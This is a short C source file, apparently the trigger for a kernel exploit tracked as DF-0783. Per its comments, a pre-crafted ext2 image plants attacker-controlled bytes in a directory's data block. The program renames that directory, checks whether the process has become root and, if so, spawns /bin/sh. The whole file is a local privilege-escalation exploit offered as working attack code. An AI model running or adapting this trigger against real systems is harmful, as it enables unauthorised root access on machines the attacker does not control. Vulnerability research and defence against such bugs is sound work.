DF-0783 / trigger_b.c
/* * DF-0783 Trigger B — crafted-ext2-image rename trigger. * * Given an ext2 mount point, renames d1/sub -> d2/sub. The image is pre-crafted * so d1/sub's data block first 24 bytes are attacker-controlled (X + saved rbx). * * Build: cc -o trigger_b trigger_b.c * Run: ./trigger_b <ext2-mount-point> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> int main(int argc, char **argv) { char src[4096], dst[4096]; if (argc != 2) { fprintf(stderr, "usage: %s <ext2-mount-point>\n", argv[0]); return 2; } snprintf(src, sizeof(src), "%s/d1/sub", argv[1]); snprintf(dst, sizeof(dst), "%s/d2/sub", argv[1]); /* Remove any stale dst from prior runs. */ (void)rmdir(dst); printf("[*] DF-0783 trigger B: rename(%s, %s)\n", src, dst); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); fflush(stdout); if (rename(src, dst) != 0) { printf("[!] rename: %s (errno=%d)\n", strerror(errno), errno); return 1; } printf("[+] rename succeeded!\n"); /* If we got here, check if we gained privileges. */ printf("[*] post-rename uid=%d euid=%d\n", getuid(), geteuid()); if (getuid() == 0 || geteuid() == 0) { printf("[!!!] PRIVILEGE ESCALATION: uid=0\n"); execl("/bin/sh", "sh", NULL); } return 0; } |